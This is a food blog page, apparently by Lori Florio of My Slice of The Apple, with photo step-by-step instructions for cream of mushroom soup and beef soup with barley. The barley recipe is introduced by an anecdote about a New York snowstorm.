3 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

…to the stock pot…

5 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

…sprinkle with salt and pepper…

6 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

…stir again, and saute for 8 – 10 minutes, until the vegetables begin to soften.

7 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

Add the chicken stock and 4 cups of water, and bring the mixture to a boil.  Lower the heat and simmer, uncovered, for 30 minutes:

8 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

Strain the stock over a large bowl, pressing on the solids to extract all of their liquid. Discard the solids in the strainer.  This should yield about 5 cups of stock; if you don’t have 5 cups, add enough water to get you there:

9 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

Wipe out the stock pot, and return it to the stove.

To make the soup, add the stick of butter to the cleaned stock pot, and place it over medium-low heat:

12 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

Once the butter has melted, add the leeks…

11 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

13 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

…sprinkle with salt and pepper, and saute for 15 minutes, until the leeks become translucent:

14 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

Add the sliced mushrooms to the leeks…

15 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

…stir to combine…

16 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

and turn the heat up to medium.  Saute for 10-15 minutes until the mushrooms are softened and begin to brown:

17 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

Add the flour…

18 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

and stir for 1 – 2 minutes…

19 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

…until a paste forms with the mushrooms:

20 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

Add the white wine…

21 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

and stir, scraping up the brown bits from the bottom of the stock pot:

22 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

The mixture will begin to thicken:

23 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

Add in the mushroom stock and the thyme leaves…

24 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

25 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

26 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

and stir to combine.  Add in 1/2 teaspoon salt and some freshly ground pepper, stir again, and bring the stock to a boil.  Reduce the heat and simmer for 20 minutes.

Add in the milk, the heavy cream, and the parsley…

27 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

and stir well:

28 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

Taste the soup at this point, and add salt if needed.  Turn the heat to medium-high to heat the milk and cream until the soup begins to steam, then turn off the heat:

29 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)

Serve the soup hot, garnished with the chopped chives:

30 - Cream of Mushroom Soup - Photo by Lori Florio (My Slice of The Apple)1 - Cream of Mushroom Soup - Photo by Lori Florio (My

This will serve 4 to 6 people.  (If you are taking pictures and have only white soup bowls, make sure you have a colorful background!)

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A couple of weeks ago, when the weather forecast called for “an EPIC amount of snow”, we New Yorkers heeded the warning.  After all, the last time we heard those words “epic storm”, this is what happened:

15New Yorker Cover

This is what our neighborhood looked like at the worst of it:

5 Another shot of our street 2

10  At the highest point of the flood

Well, we in the city proper did not get a massive snowstorm, and we weren’t complaining.  (OK, some did complain, but that’s what New Yorkers do.)  I wasn’t complaining.  We still had power, and my fridge was stocked well enough to feed us for at least a week.  I was prepared; Dave swears I was a boy scout in another life.  (It was nice to put my “hurricane survival kit” away…)

I remember watching the local news the day prior to the snow, when a news crew had taken up a post in front of a supermarket.  They were asking the shoppers what they were buying and planning to make during the storm (“a stew”, “we’re gonna bake cookies with the kids”) when they happened upon a frowning shopper who announced that the store had just run out of produce.

I wish I could have spoken to her and told her about two soups I had just made that didn’t require anything more than what most home cooks already have in their pantries:  Easy Tomato Soup with Orzo, and Beef Soup with Barley.

I posted the recipe for the Easy Tomato Soup…

Easy Tomato Soup with Orzo - Photo by Lori Florio (My Slice of Thr Apple)

…on my Examiner page, so if you click here, you can find the recipe and accompanying slideshow.

Here, I’ll post the recipe for Beef Soup with Barley…

Beef Soup with Barley Cover - Photo by Lori Florio - My Slice of The Apple

…along with a “how to” pictorial.  (You can make this soup with or without meat; I had some leftover steak from a recent trip to a steakhouse in my freezer, which is why I included it in this soup.  It’s perfectly fine with just beef stock, though.  Whatever you have.)

The best thing about these soups – other than the fact that they are comforting and they make the apartment smell heavenly – is that they taste even better the next day.  Like chili and stews, just sitting for an extra day in the fridge leaves time for the flavors to perfectly marry.

So while I watch in horror at images of the true “snowpocalypse” up in Boston and upstate Connecticut (my friend Hilory wrote on her Facebook page that she was “gonna go snowstal soon”), I submit these to my friends up there and hope you will have a couple of happy hours in the kitchen.

The recipe and pictorial:

Beef Soup with Barley

  • Olive oil
  • 1 large – or 2 medium – leeks, white and light green parts only, chopped
  • 1 large shallot, chopped
  • 2 large carrots, chopped
  • 2 stalks celery, chopped
  • 3 garlic cloves, minced
  • 2 cups cooked steak, chopped into bite-sized pieces (optional)
  • 1 teaspoon fresh thyme, minced
  • 1 bay leaf
  • 8 cups beef broth, preferably low sodium
  • 3/4 cups pearl barley

Coat the bottom of a large stockpot with the oil, and place over medium heat.

Add the leeks, shallot, carrots, celery, and garlic to the pot, stir to combine and season with salt and pepper.  Sauté the vegetables over medium heat until they soften, about 10 minutes.

After the veggies have softened, add the meat (if using), thyme and bay leaf, and stir to combine.  Add in the beef stock, bring to a boil, then lower the heat, cover the pot, and simmer for 30 minutes.  After 30 minutes, taste the stock and adjust the seasonings if needed.  (I needed more salt at this point.)

In the meantime, fill a medium pot with water and bring to a boil, salt the water, then add the barley.  Boil the barley, uncovered, for 30 minutes.

Drain the barley well, and add the cooked barley to the stock.  Cover again, and simmer another 30 minutes.  Remove the bay leaf from the soup, and serve hot.

Serves 6.

The pictorial:

Start by preparing the vegetables: 1 large (or 2 medium) leeks, white and light green parts only, chopped; 1 large shallot, chopped;  2 large (or 4 small) carrots, chopped; 2 stalks celery, chopped (I added in the celery leaves as well – tasty!); and 3 garlic cloves, minced.

Beef Soup with Barley 1 - Photo by Lori Florio - My Slice of The Apple

Coat the bottom of a large stockpot with olive oil, and place over medium heat:

Beef Soup with Barley 2 - Photo by Lori Florio - My Slice of The Apple

Add the leeks, shallot, carrots, celery, and garlic to the pot, stir to combine…

Beef Soup with Barley 3 - Photo by Lori Florio - My Slice of The Apple

and season with salt and pepper:

Beef Soup with Barley 4 - Photo by Lori Florio - My Slice of The Apple

Sauté the vegetables over medium heat until they soften, about 10 minutes.

In the meantime, be sure the meat (if using) is in bite-sized pieces:

Beef Soup with Barley 5 - Photo by Lori Florio - My Slice of The Apple

(This measured out to about 2 cups.)

Mince 1 teaspoon of fresh thyme, and have a bay leaf at the ready:

Beef Soup with Barley 8 - Photo by Lori Florio - My Slice of The Apple

After the veggies have softened, add the meat (if using), thyme and bay leaf..

Beef Soup with Barley 11 - Photo by Lori Florio - My Slice of The Apple

and stir to combine.

Add in 8 cups of beef stock (preferably low sodium)…

Beef Soup with Barley 12 - Photo by Lori Florio - My Slice of The Apple

Beef Soup with Barley 13 - Photo by Lori Florio - My Slice of The Apple

…bring to a boil, then lower the heat and simmer the pot, covered, for 30 minutes.

In the meantime, fill a medium pot with water and bring to a boil.  Salt the water, then add 3/4 cups pearl barley:

Beef Soup with Barley 14 - Photo by Lori Florio - My Slice of The Apple

Beef Soup with Barley 15 - Photo by Lori Florio - My Slice of The Apple

Boil the barley, uncovered, for 30 minutes.

Drain the barley well…

Beef Soup with Barley 16 - Photo by Lori Florio - My Slice of The Apple

and add it to the stock:

Beef Soup with Barley 17 - Photo by Lori Florio - My Slice of The Apple

Beef Soup with Barley 18 - Photo by Lori Florio - My Slice of The Apple

Beef Soup with Barley 19 - Photo by Lori Florio - My Slice of The Apple

Cover the pot again, and simmer for another 30 minutes.  Remove the bay leaf from the soup, taste and adjust the seasonings if needed, and serve hot.

Beef Soup with Barley 20 - Photo by Lori Florio - My Slice of The Apple

Serves 6.

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